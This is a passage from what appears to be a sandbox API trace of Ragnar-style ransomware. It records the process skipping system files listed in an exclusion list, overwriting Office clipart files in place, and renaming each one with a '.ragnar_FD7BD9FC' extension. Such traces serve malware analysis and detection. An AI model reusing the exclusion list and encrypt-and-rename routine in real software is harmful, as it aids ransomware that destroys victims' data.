dwFlags=0x3) returned 1 [0085.690] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81dcbf00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81dcbf00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195254.WMF", cAlternateFileName="")) returned 1 [0085.690] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.690] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0195254.WMF" | out: lpString1="J0195254.WMF") returned="J0195254.WMF" [0085.690] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned=".WMF" [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="autorun.inf") returned 1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="boot.ini") returned 1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="bootfont.bin") returned 1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="bootsect.bak") returned 1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="bootmgr") returned 1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="bootmgr.efi") returned 1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="bootmgfw.efi") returned 1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="desktop.ini") returned 1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="iconcache.db") returned 1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="ntldr") returned -1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="ntuser.dat") returned -1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="ntuser.dat.log") returned -1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="ntuser.ini") returned -1 [0085.690] lstrcmpiW (lpString1="J0195254.WMF", lpString2="thumbs.db") returned -1 [0085.690] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.690] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.690] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.691] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.691] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.691] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.691] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf")) returned 0x20 [0085.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.691] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4534) returned 1 [0085.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.691] GetProcessHeap () returned 0x580000 [0085.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.691] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.693] VirtualAlloc (lpAddress=0x0, dwSize=0x11b6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.693] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11b6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x11b6, lpOverlapped=0x0) returned 1 [0085.694] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.694] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11b6, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.694] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11b6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x11b6, lpOverlapped=0x0) returned 1 [0085.694] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11b6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.694] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.694] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.694] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.694] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.695] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.695] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.695] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.695] GetProcessHeap () returned 0x580000 [0085.695] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.695] CloseHandle (hObject=0xf4) returned 1 [0085.695] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" [0085.695] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.ragnar_FD7BD9FC" [0085.695] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.696] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85704600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85704600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x207a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195260.WMF", cAlternateFileName="")) returned 1 [0085.696] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.696] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0195260.WMF" | out: lpString1="J0195260.WMF") returned="J0195260.WMF" [0085.696] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned=".WMF" [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="autorun.inf") returned 1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="boot.ini") returned 1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="bootfont.bin") returned 1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="bootsect.bak") returned 1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="bootmgr") returned 1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="bootmgr.efi") returned 1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="bootmgfw.efi") returned 1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="desktop.ini") returned 1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="iconcache.db") returned 1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="ntldr") returned -1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="ntuser.dat") returned -1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="ntuser.dat.log") returned -1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="ntuser.ini") returned -1 [0085.696] lstrcmpiW (lpString1="J0195260.WMF", lpString2="thumbs.db") returned -1 [0085.696] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.696] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.696] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.696] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.696] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.696] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.696] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf")) returned 0x20 [0085.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.697] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8314) returned 1 [0085.697] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2071, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.697] GetProcessHeap () returned 0x580000 [0085.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.697] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.698] VirtualAlloc (lpAddress=0x0, dwSize=0x207a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.698] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.699] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.699] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x207a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x207a, lpOverlapped=0x0) returned 1 [0085.700] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.700] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x207a, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.700] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x207a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x207a, lpOverlapped=0x0) returned 1 [0085.700] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x207a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.700] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.700] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x207a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.700] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.700] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.700] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.700] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.700] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.700] GetProcessHeap () returned 0x580000 [0085.700] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.700] CloseHandle (hObject=0xf4) returned 1 [0085.701] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" [0085.701] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.ragnar_FD7BD9FC" [0085.701] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.701] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98831600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98831600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195320.WMF", cAlternateFileName="")) returned 1 [0085.701] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.701] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0195320.WMF" | out: lpString1="J0195320.WMF") returned="J0195320.WMF" [0085.701] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned=".WMF" [0085.701] lstrcmpiW (lpString1="J0195320.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.701] lstrcmpiW (lpString1="J0195320.WMF", lpString2="autorun.inf") returned 1 [0085.701] lstrcmpiW (lpString1="J0195320.WMF", lpString2="boot.ini") returned 1 [0085.701] lstrcmpiW (lpString1="J0195320.WMF", lpString2="bootfont.bin") returned 1 [0085.701] lstrcmpiW (lpString1="J0195320.WMF", lpString2="bootsect.bak") returned 1 [0085.701] lstrcmpiW (lpString1="J0195320.WMF", lpString2="bootmgr") returned 1 [0085.701] lstrcmpiW (lpString1="J0195320.WMF", lpString2="bootmgr.efi") returned 1 [0085.702] lstrcmpiW (lpString1="J0195320.WMF", lpString2="bootmgfw.efi") returned 1 [0085.702] lstrcmpiW (lpString1="J0195320.WMF", lpString2="desktop.ini") returned 1 [0085.702] lstrcmpiW (lpString1="J0195320.WMF", lpString2="iconcache.db") returned 1 [0085.702] lstrcmpiW (lpString1="J0195320.WMF", lpString2="ntldr") returned -1 [0085.702] lstrcmpiW (lpString1="J0195320.WMF", lpString2="ntuser.dat") returned -1 [0085.702] lstrcmpiW (lpString1="J0195320.WMF", lpString2="ntuser.dat.log") returned -1 [0085.702] lstrcmpiW (lpString1="J0195320.WMF", lpString2="ntuser.ini") returned -1 [0085.702] lstrcmpiW (lpString1="J0195320.WMF", lpString2="thumbs.db") returned -1 [0085.702] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.702] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.702] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.702] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.702] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.702] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.702] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf")) returned 0x20 [0085.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.703] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29432) returned 1 [0085.703] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x72ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.703] GetProcessHeap () returned 0x580000 [0085.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.703] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.704] VirtualAlloc (lpAddress=0x0, dwSize=0x72f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.705] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x72f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x72f8, lpOverlapped=0x0) returned 1 [0085.706] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.706] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x72f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.706] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x72f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x72f8, lpOverlapped=0x0) returned 1 [0085.706] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x72f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.706] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.707] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x72f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.707] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.707] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.707] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.707] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.707] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.707] GetProcessHeap () returned 0x580000 [0085.707] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.707] CloseHandle (hObject=0xf4) returned 1 [0085.707] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" [0085.707] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.ragnar_FD7BD9FC" [0085.707] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.708] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9338c00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9338c00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x5350, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195342.WMF", cAlternateFileName="")) returned 1 [0085.708] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.708] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0195342.WMF" | out: lpString1="J0195342.WMF") returned="J0195342.WMF" 